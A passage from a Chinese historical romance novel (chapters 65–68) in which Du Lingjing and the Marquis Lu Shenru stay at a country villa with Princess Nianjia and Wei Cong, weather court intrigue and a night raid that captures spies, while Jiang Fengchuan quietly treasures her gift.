但她回到自己房中,想到年嘉说的与魏玦的往事,支了胳膊出了许久的神。 陆慎如抬脚进来的时候,见她不看书,只发呆,不禁走上前来。 “怎么了?”他柔声问。 杜泠静摇摇头,默声没有说话,他却看到她微微发红的眼睛。 他英眉立时压了下来。 整个房中都随着他的气息完全沉下。 杜泠静隐隐觉得有异,抬头看去,听见他冷声。 “年嘉跟你提了蒋竹修。” 杜泠静脑中一乱,这又和三郎有什么关系? 但却见他脸色都不一样了。 分明是他自己在提…… 她气得瞪了他,“不是!” 她起身就要走,陆慎如反应了过来,是他弄错了。 他握了她的手臂,立时缓下神色,见他娘子绷了一张脸,他低了头。 “是魏玦的事?” 杜泠静不想搭理他,转过头去,他越发柔声,“我亦有所耳闻。” 他说那是殷佑五年的事,彼时他刚离开西北来京,那年皇上钦定了魏玦为锦衣卫北镇抚使,很显然是让他稍稍历练,然后坐上这锦衣卫指挥使的位置。 “魏玦出城来迎我,我见他神色寥落,才晓得他刚与郡主出了些事。” 他给杜泠静补充几句,说魏玦曾给他写过信,说想往西北军中谋个位置,“我颇为惊讶,没想到他想来军中,但没过多久国舅过身,他已不可能再去西北。” 杜泠静默了默。 原来魏玦真的想要去过西北,但没能去成。 那么是如年嘉说得那样,他与年嘉淡了情分,还是锦衣卫令他变了性情?再或是旁的原因。 杜泠静总觉好似事是同年嘉所言不完全一致,她想不透,倒是身侧的人与她一并坐了,见她目露怅然,道了句。 “世间事,冥冥自有天意,顺理未必成章,滴水亦可穿石。” 杜泠静不由回头看了他。 若前面几句说得是年嘉与魏玦,那么后边这句又是说得谁与谁? 杜泠静可不是什么又黑又硬的石头。 但他见她看向他,目光捉了她的眼睛,他眸色浓郁抵在她眸中。 “人力亦是天意。” 所以他不在乎是不是强求? 杜泠静转过头,只从眼角里瞥他,他却笑起来,一手握了她的掌心,另一只手倒了茶给她喝。 他为刚才那句赔礼道歉。 杜泠静不要接。 他刚要再说句什么,崇平忽的寻他。 他倒没立时出去,轻轻捏了她的手,道晚间还有些事要忙,嘱咐了她。 “娘子先睡吧。” 杜泠静还是不理会,他叹气出了门去。 他人走了,属于他的气息还留在此间,杜泠静饮下了他给她倒好的茶。 他性子确实与寻常人有些不同,他不求水到渠成,却信人定胜天。 就如同皇后的太子薨逝,东宫空悬,文臣要力挺雍王,他便立时站出来,不畏不惧,站在贵妃与慧王身后,力主慧王上位。 可贵妃到底还不是皇后。 若是皇后娘娘一直熬下去,反而熬得皇上先不行了,那么贵妃便不可能成为皇后。 贵妃做不了皇后,慧王便无可能是嫡子。 皇上若想要越过前面两位皇子,册封年幼的慧王为太子,更是难为。 届时,他所筹谋的一切岂不都要落空?还是说他陆侯拥兵在手,能一呼百应,力压皇城门下? 若真如此,与谋朝篡位的乱臣,就只差一线之隔。 成王或者败寇,他前路会如何…… 窗外不知何时又落了雨,雨声咚咚地砸落在窗棂上,敲碎春夜的安宁。 杜泠静坐在窗下,蹙眉出神许久。 第66章 某人晚间什么时候回来的, 杜泠静说不清。 翌日一切如常。 早间与他一道用过饭,便见年嘉过来寻她。他自去料理接连不断从京城来的消息,杜泠静则同年嘉在山房后面的山坡上散步一阵。 她问年嘉昨日睡得如何。 昨日来了她才刚知道, 原来这片山房别院不是年嘉和魏琮的,反而是她那位侯爷的。 他在京畿有多少庄子院子, 杜泠静是数不清, 但也尽地主之谊问了客人两句。 年嘉道好,说此地宁静,既无京城的喧闹,也没有西北常年风沙呼啸。 “我昨儿一早就睡了, 但迷糊着听见有些动静,还以为世子扯到伤处发了病, 吓得我腾得就坐了起来。” 她说魏琮前些日刚受伤那阵,确实有些凶险,一到晚上她就不敢睡觉,只怕她一觉睡醒, 她好不容易招来的这位仪宾就没了。 杜泠静连忙问, “世子没事吧?” “没事没事, ”年嘉跟她摇头,“是我弄错了。他昨晚不知往哪去了, 到了夜里才刚回来。” 她道,瞧了杜泠静, “应该你那陆侯寻他。” 杜泠静想到某人也回来的很晚,看来确如年嘉所猜测。 两人又在小山坡上散了几步, 春雨洒过,地面更见新绿,草色遥看近亦存, 柔柔地摇动在她们裙摆之下。 年嘉眼尖,一眼看见了从京城方向过来的一辆马车。 “应该是李太医来给世子问诊,咱们下去吧。” 杜泠静跟着她一路从后山下来,径直去了魏琮休养的院落,果见李太医正进了门。 众人见礼,李太医净手给魏琮看诊,左右手都切过,又瞧了几处伤。 年嘉连忙问,“怎么样?世子见好了吧?” 李太医上了年岁,捋着发白的胡子笑着点头。 “世子到底是年轻,又是习武的精壮之躯,这才几日的工夫,已有明显得好转。” “真的?”杜泠静见年嘉眼睛都亮了起来,“那能不能拜托您回去见我母妃,跟她说,我把世子照顾得很好,就快能活蹦乱跳了!” 话音没落地,房中人皆笑了起来。 杜泠静捂了半张脸笑,可见裕王妃之前将年嘉训斥得不轻。 这会她更问魏琮,“世子也觉得,我将你照料的不错,对吧?” 她其实有点不自信,只能到正主这里确认一下。 魏琮丝毫没有驳她面子,笑看了她一眼道,“郡主每晚都要醒来看我三次,有这三眼,我也必是好得快。” 这话说得年嘉睁大了眼睛,“你竟然都知道?” 她以为他熟睡着,每晚扒开他的帷帐,还将他全身上下一通打量。 年嘉脸有点热。 魏琮没多解释,只是又笑着同李太医道,“烦请太医回去告诉王妃,郡主确实尽心尽力。” 李太医笑看两人,道是一定把话带到。 陆慎如则问了他宫里皇上、娘娘和慧王的状况,李太医简言两句,众人便送了李太医折返回京。 杜泠静和年嘉只送到二门口,杜泠静见她还在嘀咕,“他竟然都知道……” “你与世子同榻,你一动身,他自然知道。”杜泠静帮她解释了一下。 杜泠静自己,晚间只要稍有点动静,某人就会坐起来问她是不是睡得不踏实,是不是要喝水。 约莫他们这些在外行兵打仗出身的将领,夜眠浅若薄冰,轻轻一动就从梦中醒来。 不想她解释了,年嘉又嘀咕了一句,声音更小。 “可我也没与他同榻……” “啊?”杜泠静听见了。 年嘉连忙道,“他身上到处都是伤,我怕睡着后没轻没重地碰着她。” 她都是让人另外支了床,睡在旁处。 她虽给了解释,但神情却不太自然。 杜泠静想到她说成婚三载,却还与魏世子不太熟悉。 依照杜泠静这些日子的观察,魏琮对年嘉颇为宽纵,无有半点不好,怎么三年了,两人还没熟悉起来? 年嘉没再多说,道午间日头晒人,要回去换衣裳,快步走了。 不过杜泠静却想到了自己。她自己素来是个性子慢的,可才成婚半年有余,就与那人熟悉到不能更熟悉。 从刚奉旨成婚,他就不让她与他生疏。圆房之后更是……她与他已熟络到,她时常感觉自己都不受自己的掌控…… 思绪刚飞了一瞬,便一脚踏入了他在日头下,投出来的身影里。 他的身影与气息同时环了她,杜泠静见他就站在门洞旁。 杜泠静略略抬眸,便见他微低着歪了歪头,跟她伸了手。 昨晚他平白无故地就沉了脸,分明是他自己提的三郎,旁人可什么都没说。之后他赔礼道歉,她也没理会。 杜泠静当即不准备再穿过此门,换一条路走。 可她这一步还没迈出去,就被人揽腰抱到了怀里。 他又是这样。 他抱她扣在怀里,杜泠静推他推不开,皱了眉头侧过脸。 他却问她,“若我在战场上也受了伤,泉泉可会似年嘉照料魏琮那样,也照看照看我?” 一夜起身三回看他吗? 杜泠静没回应,听见他则道了一句。 “自然郡主照料人的法子也不怎么样。” 杜泠静:“……” 他还看不上年嘉? 年嘉能这般照顾人就不错了。 但她却道,“依我之见,侯爷还是自求多福的好。” 他闷声,似是对她这回答不甚满意,却也挑不出她的理。 毕竟眼下可没人平白无故提三郎。 他微顿,杜泠静趁机拨开他,快步离开了去。 * 京中,蒋氏新置的宅院。 自蒋家六爷会试中了贡生之后,新宅的门槛都快被踏破了。 登门贺喜拜访的人络绎不绝,但除了前来祝贺攀扯关系的,还有遣了红娘上门,想要给这位尚未成婚的蒋氏六爷说亲的。 蒋枫川先还有耐心周旋,后来上门来的人越发得多,他干脆大门一关,躲进了红螺寺里。 不想红螺寺那等清静地,竟然也没能逃脱。 远在青州的养父母,听闻他中第自是大喜,但也来了信函提及了他的终身大事,且一并将此事托给了蒋太妃娘娘。 京中这些要嫁女的人家不知从哪得了此信,一股脑地往红螺寺涌,蒋枫川无奈只能又回了新宅。 朴嬷嬷却紧跟着上了门。 她是奉太妃娘娘的意思前来的,拿了厚厚一沓册子。 蒋枫川请了朴嬷嬷吃茶,请她老人家好生歇歇,朴嬷嬷却把册子里的人家从头到尾跟他说了一遍。 “太妃娘娘的意思,六爷的终身大事不能含混,自是要精挑细选合宜的人家与姑娘,不过紧要的,还是看六爷您自己。” 朴嬷嬷代太妃问,“这册子里的,六爷可有觉得颇有意向的?” 谁想她这么问了,却见六郎低垂着眉眼,幽幽地叹气。 他眉目俊美,双眸狭长如羽,他此刻低眸叹气,只瞧得朴嬷嬷心生怜意。 “六爷这是怎么了?您的大喜事,怎么叹气?” 她问去,听见六郎又叹一气。 “嬷嬷您也知道,六郎自幼被生身父母遗弃,吃百家饭长大,多亏三哥捡了我,把我带回家中。可惜三哥身子不好,未成婚便英年早逝,爹娘也上了年岁,正该是抱孙子的年纪,然而六郎……” 他顿了顿,叹道,“六郎却觉这些人家和姑娘家,无一不好,却与我皆无缘法。” 他道自己是修道的人,总是要讲究缘法才好。 “这些人家都是娘娘和嬷嬷替我挑选来的,我也想挑一中意之人,似我三哥那般有个一心中意的姑娘,可却怎么都选不出来。岂不是辜负了娘娘、嬷嬷和家中爹娘的心意?” 他因此而低落难过。 朴嬷嬷呀了一声,“竟只是因为此事?” 她琢磨了一下,“老奴晓得了,原来六爷没瞧中有缘的姑娘。这却有什么可伤神?六爷才刚刚中第,殿试还没到呢,慢慢再看就是,不急不急。” 她说不急,蒋枫川收了低落神色,跟朴嬷嬷眨了眨眼,“但上门的人忒般多,六郎说实话,招架不来。” 朴嬷嬷彻底明白了他的意思了,不禁伸手点着他,跟他笑起来。 六郎亦笑,则亲自给她倒了茶,又恭敬递到她手边。 朴嬷嬷道,“那六爷便先闭了门吧,太妃娘娘那儿近日也累了,老奴自去与娘娘说,六爷缘法没到,再等等不迟。” 蒋枫川听见这话,笑了起来,“嬷嬷最是疼我。” 他拿了新宅里最好的茶招待,朴嬷嬷却道不吃了,“时候不早了,老奴得回红螺寺了。” 蒋枫川一路将朴嬷嬷送到了大门外。 有朴嬷嬷的话,他径直让人闭了门去,“殿试还没过,之后上门说亲的,一律拒之门外。” 门房领命。 蒋枫川回到书房,终于觉得清静下来。案头上放了一沓刚送来的帖子,他一概不理,只从抽屉里取出一只小匣子。 匣子很小,他动手打开,里面放了一方红玉小印。 玉红似秋日红枫,上面精工雕了一枝葱郁的枫叶。 晚云收,夕阳挂,一川枫叶,两岸芦花。 是她给的贺礼。 旁人的贺礼,蒋枫川都让惠叔收了起来,唯独她的这方红玉印,他放到了案头上。 爹娘和太妃娘娘让他给自己挑一门合宜的婚事,他确实挑不出来,也确实没瞧出哪家姑娘同他有缘法,但…… 惠叔端茶走了进来。 蒋枫川没避讳,捏了红玉小印,挽起袖子沾了印泥,在纸上落下一个小篆的“枫”字来。 惠叔上前倒茶,看了一眼杜泠静送的贺礼,听见蒋枫川问。 “她还被陆侯关在家中?” 惠叔回道,“倒也不是,侯爷这两日带夫人出京去了。” “哦。” 惠叔看了他一眼,又道,“侯爷不会对夫人怎样的,六爷其实不必操心。” “是吗?” 他忽的问,“惠叔对陆侯颇为了解?还是说三哥也同他相识?” 他又冷不丁问了来,惠叔只被他吓得一个激灵。 “六爷到底想问什么?老奴不认识侯爷,三爷也不认识。” 这次蒋枫川没开口,只看着玉印。 惠叔看着他道,“六爷就不要再多想了。三爷遗言,勿要将他换药自尽之事告诉夫人。” 他道,“夫人不知道,那就让她不要知晓。三爷的遗言,六爷也当谨记才是!” 照着夫人的性子,若是知晓了此事,还不知要如何。 惠叔知道自己说话没分量,只能拿了蒋竹修来压蒋枫川。 蒋枫川怎么不知他的意思,笑了起来。 “惠叔别紧张,我听见了。” 惠叔忧愁地跟他倒了茶水,退了下去。 书房安静只剩下蒋六郎自己。 他看向那方红玉小印,又看到了手边一叠细密批了字的纸。 那是会试之前,她帮他评的文章。他把文章送到她手上,她每一篇都仔细看了,然后提笔评在他的字旁边。 她给他评了许多字,虽不似从前评三哥文章时那成篇密密麻麻的字,却也大段大段地写给了他。 她字迹隽秀灵动,哪怕是密麻挤在一起的小字,也如山间飘落的清泉般飘逸静美。 蒋枫川目光落在她字迹上,莫名地,停留良久。 * 京郊山房别院。 众人在山房后的山坡下跑马,陆慎如与魏琮并排坐在马背上说话。 “今晚之事,你伤势未愈不必勉强。” 高黑的坐骑玄珀错开半个马头,引着魏琮的坐骑过了条山脚小溪。 “并不打紧。”魏琮回了句,转头看向身侧的侯爷,嗓音压了压。 “倒是这些细作,永定军找了十年有余,多次出手都未曾抓到紧要之人,反而折损不少……” 比如陆氏二爷陆恒如。 魏琮低声,“今次就算抓不到也无妨,这些人不同寻常,背后的势力更是从不曾露出半分,再寻机会便是。” 他是稳扎稳打的性子,行事更看重一步一步来。 陆慎如知道。 他目光遥遥看向从树林边跑马过来的人,颔了首。 他没再多提此事,魏琮亦不再将,两人皆看向远处一匹白马上坐了两人—— 是年嘉带着杜泠静在跑马。 两人一人穿了水绿色、一人穿了正红色,裙摆翻飞在白马上,一时令人看住了眼。 但二人绕了一小圈,就停在了侯府侍卫支的茶棚前。 崇平亲自过去接了夫人下马,年嘉倒没下,指了一旁的小矮马,“静娘敢自己骑了吗?用那小矮马试试。” 陆慎如见她不知跟小矮马先说了几句什么,接着上了小矮马,不想这小马却不太给她面子,分明刚才她都跟马儿说好了,马儿却死活不肯动。 崇安在前给她牵马,这才终于走动起来,然而稍一走,马儿竟然要跑,她还没准备好,险些从马上掉下来。 她不敢骑了,站在马儿旁边擦汗。 陆慎如轻声笑了一声,打马过去。 “骑这个。” 他翻身下来,径直将她抱到了他的玄珀上。 杜泠静连那小矮马都还驾驭不了,怎么可能骑这种高头大马。 她连声道不成。 可玄珀却比那小矮马“乖巧”多了,完全没有任何乱动,反而跟她熟络地打了个响鼻。 杜泠静抚摸起他的鬃毛来,他呼哧了耳朵。 她不怕了,稳稳坐在玄珀背上,笑起来。 陆慎如亦眸中含了笑意,由着她自己试着骑马,他在侧为她牵了绳。 年嘉从自己的白马上翻身下来,魏琮扶了她一把。 她只顾着瞧前面的两人。 “啧啧,真是想不到,陆侯也有给人牵马的一日。稀罕景。” 魏琮笑了声,却只看向身侧的人。 “郡主不也有纡尊降贵,亲自照料我的一日。” 他眸色温然,“魏琮不胜荣幸。” 这人怎么突然说这个? 年嘉连忙道,“世子是我的仪宾,我也就世子这么一个仪宾,应该的!” 男人轻笑出声。 她不知他又笑什么,只道,“世子就别客气了。” 他接了她的话,“好,以后同郡主,自是不会一直客气。” 这话颇有些意涵,年嘉忽的想到了什么,脸上一热,连忙又翻身上马。 “我再去跑两圈!” 打马跑没了影。 * 杜泠静跑了一下晌的马,身上出了些汗,晚间洗漱过,刚沾了床边就睡着了。 只是半夜时醒了过来。 她坐起身,平日必有人也跟着她坐起来,但今晚却见床帐外侧空空。 外侧无甚温度,他不知走了几时。 杜泠静撩了帘子,见床边的小几上,倒是放了一壶茶。 是给她备下的。 但他人根本不在。 杜泠静想起昨晚他亦有事,又忽的想起临行前在远岫阁,剑架上空了二爷那柄银雪剑。 杜泠静没喝茶,却披了衣裳走出了门去。 整座山房别院,此刻星月高悬,风平树静,偶有春虫吱吱叫上两声,又很快隐没进草丛里。 檐下的灯照着庭院,院中一片安宁,与平素毫无差别。 除了,他没在。 杜泠静刚走到廊下,有人便提灯上了前。 “夫人醒了?有什么吩咐?” 是崇平。 他趁夜出门了,却把崇平给她留了下来。 杜泠静立在夜色中微微顿了顿,整座山房静谧无声。 她跟崇平摇了头。 “无事。” 第67章 星月高悬, 风平树静,山房别院寂静无声,但杜泠静辗转了许久, 到天快亮了才睡下。 次日起身,年嘉来寻她吃饭, 却道, “今日只有你我,侯爷与世子都没在。” 两人都去了,且一夜了,都还没回来。 杜泠静没遇到过这种情形。 自她与他成婚后, 他除了上朝入宫,就是在府内京中忙碌各种各样的事, 偶尔出京也是公差。 昨夜不知去了何处,取走了二爷的银雪剑,又一夜未回。 早饭有些吃不下去,年嘉却习以为常。 “他们必是有他们的事。” 她说陆慎如和魏琮, “两个人心眼子加起来, 赛你我十倍。我除了要稍稍担心一下世子伤势未愈, 至于陆侯……” 她歪头打量杜泠静,“你还替他担心?” 杜泠静摇头, 说自己没什么可担心的,接着便岔开了话, 问年嘉今日要去何处。 年嘉直道,“昨日你刚学会跑马, 今日正好练练,且我昨日瞧见山脚下有个小镇子,让人打听了今日有集会, 咱们过去耍耍。” 她是个心大的,昨日跑马的时候,就惦记好了今日要去镇上玩。 杜泠静都随了她。 崇平对她出去跑马也无有异议,亲自为她选了几匹性情温顺的马儿来。 杜泠静昨日初骑,骑的是某人的玄珀。今日玄珀不在,可她骑过那样西域来的高头大马,再骑旁的马匹,完全不在话下了。 年嘉很是高兴,“静娘学得可真快!咱们从这跑下去,正好就到了下面的镇子。” 骑马是比乘坐马车方便许多,略拍马臀,便能一口气跃出一个山头。 山下的镇上果然有集会,问去才晓得是个一月一次的大会。 不过集会上人多物多,却也颇为杂乱,一时有小偷摸了人家钱袋飞跑,被人骂骂咧咧地追着,一时又有讨价还价的摊贩和买主吵闹起来,还撸了袖子要打架。 杜泠静被旁边要打架的架势惊了一惊,崇平立时护到了她身侧,又转头叫了侍卫。 “去清道。” 侯府的侍卫立时遍布集会的主街,亮出了永定侯府的牌子,不过须臾的工夫,街道上人群清了大半,只剩下两边的摊贩和三三两两规矩的女客。 年嘉是习惯了的,左右边走边逛。杜泠静却有点不好意思,“会否扰乱了此间集会?” 崇平道无妨,“此间太过糟乱,本也该肃清,夫人安心闲逛即可。” 话音未落,年嘉就唤了杜泠静过去,指了一旁的摊子,见那摊子上在卖葫芦,有些是葫芦原胚,有些则是在葫芦上雕工精湛地刻了花纹。 不同于王公贵族府邸的精美摆件,乡野集会上的葫芦纹样颇有野趣。 年嘉径直选了个牡丹花开富贵的纹样,摊主连忙吉语相赠,“贵人家宅氏族必定荣华富贵,更胜一层。” 杜泠静好笑得不行。 年嘉可是郡主,普天之下还有谁人比她家宅氏族更加荣华富贵。 年嘉却安安心心地收了吉语,买下了这葫芦,问杜泠静,“你要哪个?我买给你。” 杜泠静倒是不求什么荣华富贵,却看到了一旁平安喜乐的纹样。 她目光稍稍落过去,年嘉就拿了过来,在她耳边。 “我看你还是担心某个人。” 杜泠静干脆把那平安喜乐的放了回去,捡了另一只蟾宫折桂的小葫芦拿在手中。 年嘉大笑,“我们静娘要考状元去了!” 杜泠静也笑起来,两人把玩着葫芦往前走,年嘉一眼看见前面有卖狸奴的,跑了过去。 杜泠静还没抬脚,却见身侧不远的巷口,忽的有人冲了过来。 “永定侯府,说什么满门忠烈,如今只剩乱臣贼子!” 是个上了年岁的人,杜泠静还没看清,侯府侍卫便将此人压了下来,这人嘴里还骂着。 “陆氏拥兵自重,废长立幼,祸乱朝纲!搅弄天下安宁,早晚不得好死……” 杜泠静定在当场。 一时间集会上陷入死寂,无人敢言。 只余那人身上的酒气,和被堵了嘴还呜呜辱骂的声音传来。 崇平连忙上前问她,“夫人受惊了?” 杜泠静摇摇头,只道,“是在骂侯爷……” 崇平让她不必放在心上,“看似个吃昏了酒的老秀才。这些迂腐的读书人与侯爷素来不和,污言秽语也是难免。” “这般情形多吗?” 崇平点了头,“总有。但侯爷早已不听在耳中。” 杜泠静果见侯府侍卫轻车熟路,将那醉酒的老秀才堵了嘴巴,五花大绑往巷子里,远远丢去。 年嘉也走过来。 “连皇上还有人要骂呢,不怕砍头的人多的是。” 她丝毫没丢失闲逛的心情,拉着杜泠静又买了许多东西,听闻镇上有家不错的馆子,晚间便请了杜泠静在此间下馆子。 待吃完饭再折回山房别院,夜幕升起拢住四合。 别院安静,两人都还没回来。 虫鸣响起,吱吱啦啦地令人隐隐有些不安。这次连年嘉也站在山房门前,远眺着黑夜中的原野立了好一阵,才又回了宿下的院子。 今夜无风,山房里树梢不动,越闷,虫鸣越是不眠不休。 杜泠静被吵得有些睡不着,迷迷糊糊地不知到了什么时候,隐约间听见些杂乱的脚步声出现在耳中。 她下了床,打开窗户便看见西面的几处院中有火光。闷了前半夜的院子此刻风声大作。 夜风呼呼地从窗外涌进来,吹得人身后长发飞起,却也吹来裹挟其间的血腥之气。 杜泠静眼皮一跳,未见有人前来,她匆促穿了衣裳,循声往西院而去。 风将她披散的头发吹飞在半空中,秋霖给她挑了灯,侍卫见是她前来,没有拦她脚步。 满院都是匆促快步的侍卫,紧绷的气氛压着人,杜泠静忽的一眼看见了崇平。 她见崇平双眉紧皱地从房中出来,急促叫了人去取药。 杜泠静再仔细看去,见他靛蓝色的长袍上,洇出一片一片的黑迹,腥味极重—— 竟全都是血! 杜泠静倒抽一口冷气。 崇平这才看到了她。 “夫人?” 他见她满脸惊惧,连忙道,“夫人不必担忧!” 说话间有侍卫匆促来寻他,他一时顾不得杜泠静,告辞快步跟人而去。 杜泠静却见他刚才出来的厢房,此刻又有人出来,端着一盆水泼在旁边树根。 是满盆的血水。 连秋霖都惊到了。 杜泠静恍惚走到了那门边,她脚下发晃,却又看着那房中围在床帐前的人群,不敢抬脚进去扰乱。 她侧身立在门框旁,见又有血水倒了出来,大夫模样的人,让人换了止血药来。 “血流得太多了,再这么下去就……” 杜泠静捏着门框的手泛了白,她紧抿着唇不敢出声,却指尖颤抖。 但却有人倏然出现在她身侧,熟悉的臂膀,将她径直拢在了怀里。 “怎么了?怎么脸都白了?” 杜泠静一愣,惊诧抬头看去。 “侯爷?!” “嗯哼。” 男人跟她点了头。 陆慎如见怀中的人遍身发凉,虽匆促穿了衣裳出门,但她长发散着,凌乱披在肩头。 他替她撩了撩长发,拨在她身后,柔声。 “以为房里受伤的是我?” 院中除了各处点起的灯,还有高高竖着的若干火把。 此刻夜风将浓重的烟火气吹来,火光亦如洒金油光,映在他英武的侧脸上。 杜泠静把他看了又看,他安稳地立在她面前,毫发未损。 她又愣了一下,才看向房内。 “是崇安。” “啊……” 杜泠静万万没想到房中受了伤的竟然是崇安。 他这次把崇平给她留了下来,带出门的正是崇安。 恰崇平此时去而复返,手中取了新药,见夫人往房中看去,连忙道。 “夫人不必担心,崇安只是外伤而已。” 就算是外伤,出了这么多血也不是小事。她赶忙让崇平拿药过去,不要耽搁。 不过又看向身旁的男人,他确实无事,且眉目舒展,看来此番出动没有无功而返。 他轻声问她,“以为是我,吓着了?” 杜泠静还同他置着气,就算是也不会点头。 她不说话,拢了拢衣裳,但又不禁偷偷地上下将他打量了一遍。 男人瞧着她眸色和缓地笑了起来。 她也是个嘴硬的。 他刚要同她说句什么,但魏琮身侧的侍卫过来请了他。 他与魏琮显然有大事,这会便同杜泠静道。 “我无事,崇安他们也无妨,安心回去吧。” 他说后半夜风大,“别着了凉。” 说完,握了她的手腕,又吩咐秋霖小心提灯,去寻了魏琮。 杜泠静没立时走,往他背影处看了两眼,崇平从房中走出来。 “夫人是怕侯爷受伤吗?” 他道,“夫人放心便是,我等绝不会让侯爷受伤。” 杜泠静转头看去。 她知道侯府的侍卫,都是何等的尽职尽责,但此刻亦见到崇安房中,还有血水不断倒出来。 她多问了两句崇安的情形。 可崇平虽着意自己的胞弟,却让她无需费神上心。 “崇安养些日子就好了。就算是有什么,也是我等该为侯爷做的。” 夜风发紧,火把上的火光,随风舞出千军万马的模样。 崇平说永定军阖军上下,在弘启十四年那场惨烈损伤之后,肝胆俱碎。 “老侯爷拖着病躯力压鞑靼,为永定军和整个西北军中,争取休养生息之机,但这远远不够。” 他说边关的兵将不惜家破为国捐躯,敌不过文臣几笔轻飘飘的降书。 朝中主降的文臣当道,他们这些驻扎在西北,世世代代与鞑子拼命的兵将,头上的天都是黑的。 待到老侯爷过世,全军皆丧,无人知道接下来的日子要怎么过。 “是侯爷站了出来。” 他说侯爷脱下战袍,放下长剑,一路离开自幼长大的西北,来到这波云诡谲的京城。 “世人道满门忠烈的永定侯府,就要出一个乱臣贼子了,辱骂他于权力中泥足深陷。” 崇平低声。 “但我们永定军阖军上下,无有一人如此作想。” 沙场上骁勇善战的年轻将军,却要离开战场来到朝堂,与那些老谋深算的老臣斡旋。 他是为何而来? “侯爷不远万里,是为我等而来!” 火把照得崇平双眸如炬,他一字一顿。 “我等便是一死,也绝不会让侯爷受一箭之伤。” 杜泠静讶然立在门前。 她有过试想,但亲耳听到此言,还是有种说不出震惊之感。 西北军,永定军。 永定侯,陆慎如。 他从不是独身立在这风口浪尖上,他的背后还立着千千万万的兵将…… 火光亦将她的面庞照亮,崇平缓缓收了声。 他说崇安的伤势尚在可愈之列。 “夫人莫要因此惊忧,快回去歇了吧。” 杜泠静点头。 院中受伤的并非只有崇安一人,满院匆促的脚步声交织成紧锣密鼓,杜泠静帮不上什么忙,也不好打乱了院中的鼓点。 她让崇平去忙,叫了秋霖转身离开。 但一眼又看到了站在不远处二楼上的男人。 他不知转头同侍卫说了什么,侍卫取了东西,很快走了下来。 是他的披风。 侍卫递给秋霖,秋霖替她披在了肩头。 厚重的风衣将她重重裹住,他立在二楼栏杆前,跟她说了四个字。 夜风将他的声音吹散,杜泠静却看得清他的唇语。 “快去睡觉。” …… 她裹了披风从西院离开,人影与灯影消失在院墙下,陆慎如才转了身,见魏琮上了楼。 “如何?”他问。 魏琮跟他摇了摇头。 “嘴硬的很,一个字都不吐口。” 陆慎如哼了一声。 此番夜袭,这群细作被打了个措手不及,他们有折损,但也一口气活捉三人。 两个鞑靼面孔,一个汉人。 汉人竟能与鞑靼人秘密共事在一处。 想来幕后的主子,当真不是凡人。 陆慎如不急,“他们不说也没关系,人通身上下,又不止有嘴会说话。细细地查,头发丝也别放过。” 魏琮颔首,陆慎如则抬头往山房别院的门前看去。 “就看明日,有没有什么人上门了。” 魏琮闻言一默,亦随着他的目光看去山房院门前。 * 年嘉郡主下榻的小院。 魏琮回来的时候,房中熄灯,年嘉已经睡了。 但他轻声刚推开门走进来,床上的人就出了声。 “世子?” “是我。” 魏琮见她坐起身来,点了床边的小灯,轻轻叹了口气。 “我实在不知还能如何轻声,才能不扰郡主清梦。” 他换了衣裳,见她坐在床边睡眼惺忪,抬脚走过去。 她一愣,“你要跟我一起睡吗?!” 房中置了两张床,他们一直是各睡各的,年嘉美其名曰,怕压了他的伤势。 但从前在西北的三年,也是如此。 他刚一走进,她就睁大眼睛问过来。 但魏琮只是过来压灭她点起来的灯。 他抬眸看了她一眼,“若是郡主愿意……” “那什么,世子不必忧虑,等你好了,我不用照看你,可以去旁的厢房睡。” “这样啊……”魏琮没灭那灯,反而衬着灯光看了她的眼睛,“王妃若是知道,会否不妥?” 糟糕,把母妃忘了!年嘉登时纠结起来,若是她母妃和太妃娘娘,知道她除了大婚当晚,都是和世子分开睡,还不得吃了她? “呃……”她不知怎么说了。 却见男人低头笑了一声。 他又笑,他到底成立日跟她笑什么。 男人则不紧不慢,也不再提同床共枕的事,只缓声道。 “郡主安吧。” 年嘉:“……” 但她可睡不着了,瞧着走向另一边床榻的男人背影,不禁想起大婚那晚的闹心事…… * 陆慎如回房的时候,杜泠静亦闻声醒了过来,但她并未坐起身,只从眼角扫到他将一柄剑放到了桌案上。 是二爷的银雪剑。 他放下剑并未走动,目光落在剑身上,默然许久,才转身离去。 他换下衣裳坐到了床边。 薄纱帐子垂在他肩头,他身上还有隐隐的血腥之气。 杜泠静未出声,亦未动,他则躺下身握住了她的手。 下一息,他自后将她拥进了怀里。 他知道她醒了。 但她今晚没有推开他。 多少日了,她第一次安静地由着他抱了她。 * 翌日的山房别院,仿佛深夜里什么事情都没有发生,前两日的春雨令砖缝石隙里,都生出了嫩绿的春草,山房早间安宁祥和。 但却有人上了门。 第68章 永定侯府这处山房别院位于顺义县, 离着顺义县城尚有些距离。 但早间第一个上门的便是顺义县的知县。 原本有京中的贵人落脚他们在京畿的别院,是一桩寻常小事,但县中的秀才辱骂了贵人, 这事却不小了。 这位知县得知自己县中的老秀才,对着永定侯府的人, 尤其是侯夫人, 一通胡言大骂,惊得一夜都没能睡下,晨起就赶到了山房门口请罪。 侯府没如何醉酒的老秀才,可阖府的秀才都算是知县的门生, 知县战战兢兢地亲自上前叩了门。 陆慎如没想到第一个上门的,竟然是顺义的知县。 崇平这才来得及将昨日镇上集市的事, 同侯爷回禀了一番。 男人微怔,“你们料理了老秀才?” 崇平道没有,“只是教训一番,远远丢了出去。” 男人略松口气, 又问, “夫人怎么说?” 她也是读书人。 似权臣拥兵自重、祸乱朝纲这般言论, 对她只怕颇为敏感。 崇平将彼时情形复述了一遍。 “……夫人只问是否总有这般情形,之后便没说什么了。” 若单有这件事, 陆侯多半要另行思量,但她昨晚将崇安误以为是他, 披头散发地跑来,白了一张脸…… 陆侯心绪尚佳, 点了那知县两句,就让人走了。 魏琮从后而来,看了那战战兢兢离开山房的知县两眼。 “若今日只有这知县前来, 事情可就要出怪了。” 陆慎如哼笑了一声。 “那可真是……再等等看吧。” 四人一道用了早饭,刚闲叙了些话,果又有人上了门。 崇平前来回禀。 “是兖王府上。” 宗人令皇叔兖王,和王妃要在王府别院办花宴,王府长史亲自前来,给陆侯和夫人、郡主与魏世子送上请帖。 庭院微静,陆慎如指尖在桌上轻敲两下。 杜泠静看了他一眼,又见魏琮亦目露思量。 两人皆不作声,最后是年嘉问了一句,“不请兖王府的长史进来吗?” 她问去,魏琮点头。 “自是要请。” 说完瞧向陆慎如,男人颔首让崇平亲自过去,把人请进来。 这位王府长史见四人都在,上前行礼,把来意说了,将帖子送上,道兖王府今岁的花宴办在京外的王府别院,就在十日之后,请四位一定前往。 他倒也没说旁的,只因与年嘉郡主算得熟络,多替兖王和王妃问候了两句,便告辞离去。 陆慎如与魏琮留了各自的娘子,继续在后院吃茶,两人往关押那三个细作的西院去了一趟。 